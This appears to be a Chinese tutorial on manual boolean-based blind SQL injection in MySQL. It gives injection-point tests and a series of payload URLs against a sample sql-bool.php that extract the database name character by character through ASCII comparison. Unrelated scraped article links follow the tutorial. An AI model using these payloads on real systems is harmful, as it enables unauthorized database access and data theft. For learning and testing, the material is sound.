0x00 什么叫布尔型盲注

布尔型

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。

盲注

在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容

布尔型盲注

页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

是不是听的云里雾里的,没关系,继续看

0x01 Mysql语法介绍

逻辑运算

length()

函数可返回字符串的长度

select length(database());

database()函数不用说了,会返回当前数据库名称,length()函数可返回一个字符串的长度,这里带入的是database(),也就是实际返回的是test的长度

length

substring()

substring()函数可以截取字符串,可指定开始的位置和截取的长度

select substring('test',1,3);

select substring('test',2,1);

substring

ord()

ord()函数可以返回单个字符的ASCII码

select substring(database(),1,1);

select ord(substring(database(),1,1));

ord

反之,char()函数可将ASCII码转换为对应的字符

select char(116);

char

0x02 手工注入

判断注入点

这里就不能像联合查询注入一样根据页面是否报错判断了,因为sql执行失败和未查到数据都会返回False,所以只能通过返回的逻辑值来判断

/* 整型注入 */

sql-bool.php?name=user1 and 1=1

sql-bool.php?name=user1 and 1=2

/* 字符型注入 */

sql-bool.php?name=user1' and '1'='1

sql-bool.php?name=user1' and '1'='2

/* 字符型注入 */

sql-bool.php?name=user1" and "1"="1

sql-bool.php?name=user1" and "1"="2

根据payload返回的成功或失败可以判断是否存在注入点,

拿整型注入举个例子

如果带入user1返回为存在(真),那么当存在整型注入时,通过逻辑运算and(与)的关系,后面跟上1=1(恒真),那么返回值也肯定为存在(真),带入1=2(恒假)时,那么返回值也肯定为不存在(假)

通过这种方式就可以判断是否存在布尔型盲注

user1

and 1=1

and 1=2

读数据

由于盲注无法回显,所以只能通过将获取到的数据挨个字符截取,然后再通过转换为ASCII码的方式与可见字符的ASCII值一一对比

这里以读取当前数据库名为例

/* 判断库名长度 */

sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1

sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1

当length(database())=4时,返回真,也就是数据库名的长度有4位

然后我们再一位一位的判断字符内容,由于mysql库名不区分大小写,且组成元素为26位英文字母、数字和下划线,所以只需要和这些字符的ASCII值进行比较

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1

sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1

当与其他ASCII值判断时,返回均为假,与116判断是否相等时,返回为真,由此可判断数据库名第一个字符的ASCII值为116,再通过ASCII转换为字符,可得知当前数据库名第一个字符内容为't'

char

其他数据同样是用相同的办法读取内容

mysql盲注_Mysql 布尔型盲注手工注入详解相关推荐

  1. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  2. mysql二进制文件复制_MySQL 主从复制:基于二进制文件复制配置详解

    ##MySQL-主从复制:基于二进制文件复制详解 ###前言 主从复制是指把一个MySQL的数据库服务器作为主服务器(master),然后把master的数据复制到一个或者多个MySQL数据库服务器作 ...

  3. mysql 账户管理_Mysql账户管理原理与实现方法详解

    本文实例讲述了Mysql账户管理原理与实现方法.分享给大家供大家参考,具体如下: 账户管理 在生产环境下操作数据库时,绝对不可以使用root账户连接,而是创建特定的账户,授予这个账户特定的操作权限,然 ...

  4. mysql 同步 异步_MySQL异步复制、半同步复制详解

    MySQL数据复制的原理图大致如下: 从上图我们可以看出MySQL数据库的复制需要启动三个线程来实现: 其中1个在主服务器上,另两个在从服务器上.当发出START SLAVE时,从服务器创建一个I/O ...

  5. mysql shutdown 命令_Mysql 5.7.9 shutdown 语法实例详解

    mysql-5.7.9 终于提供shutdown 语法啦: 之前如果想关闭一个mysql数据库可以通过kill 命令.mysqladmin shutdown .service mysqld stop ...

  6. mysql float 误差_mysql下float类型使用一些误差详解

    单精度浮点数用4字节(32bit)表示浮点数 采用IEEE754标准的计算机浮点数,在内部是用二进制表示的 如:7.22用32位二进制是表示不下的. 所以就不精确了. mysql中float数据类型的 ...

  7. mysql decimal长度_mysql decimal类型与decimal长度用法详解

    以下内容转自:http://blog.csdn.net/zhanghao143lina/article/details/53816884 三者的区别介绍 float:浮点型,含字节数为4,32bit, ...

  8. mysql 字符串 底层_Mysql 的索引底层原理及数据结构详解

    Mysql 的索引底层原理 1.什么是索引? 索引是一种排好序的数据结构,mysql目前默认使用的是b+树. 2.为什么使用b+树? 例如表table 数据 id name 1 zs 2 ls 3 s ...

  9. mysql教程排序_MySQL中的排序函数field()实例详解

    前言 我们在日常开发过程中,排序是经常用到的,有时候有这样的需求. 比如,需要在查询结果中根据某个字段的具体值来排序.如下面例子 上面是一张个人信息 表,假如我们想按照'seiki','iris',' ...

最新文章

  1. 设置默认settings文件_Django 学习笔记系列 之 settings.py 设定
  2. Qt5: SpringAnimation
  3. Func vs. Action vs. Predicate [复制]
  4. Java黑皮书课后题第8章:*8.1(求矩阵中各列数字的和)使用下面的方法头编写一个方法,求矩阵中特定列的所有元素的和。编写一个测试程序,读取3*4矩阵,显示每列元素的和
  5. 常用30种MySQL查询语句优化方法
  6. oracle的除,Oracle数据库如何去除别名 - daiyan0526的个人空间 - 51Testing软件测试网 51Testing软件测试网-软件测试人的精神家园...
  7. Windows To Ghost系统封装之必备软件集 - 好压
  8. ACM-ICPC 2018 沈阳赛区现场赛 K. Let the Flames Begin (约瑟夫环问题)
  9. 刷leetcode第五题-最长回文字符串
  10. python括号是中文还是英文_python括号区别
  11. ant design pro模板_分享10 个开源免费且优秀的后台管理系统模板
  12. Android WebView重定向问题的解决方案
  13. python教程-4.数据处理numpy-pandas
  14. 你所不知道的NVMe SSD固态硬盘读写速度及国货的惊喜--基于FPGA的速度测试
  15. 背景差法目标识别python_运动目标检测(4)—背景差分法
  16. 进度条程序详解(Linux)
  17. iOS 应用商店评分StoreReview
  18. 逻辑回归原理及推导过程
  19. 图片懒加载(仿SDWebImage)
  20. 从汇编角度看一个C函数调用

热门文章

  1. 《想做视频号必须要懂的知识——音质篇》
  2. 使用Python连接Redis集群
  3. 前端九年老司机的一天作息
  4. 如何避免自己写的代码成为别人眼中的一坨屎 (摘自微信公众号,顶级程序员)...
  5. 科普:网格屏是什么意思?LED网格屏怎么安装
  6. 单片机工程师如何继续提升自己?
  7. Oracle域完整性约束
  8. 区块链技术及其在信息安全领域的研究进展 简单概括
  9. (个人记录)Ensight后处理EDEM学习笔记
  10. 戴尔微型计算机重装WIN10系统,戴尔品牌机如何重装win10系统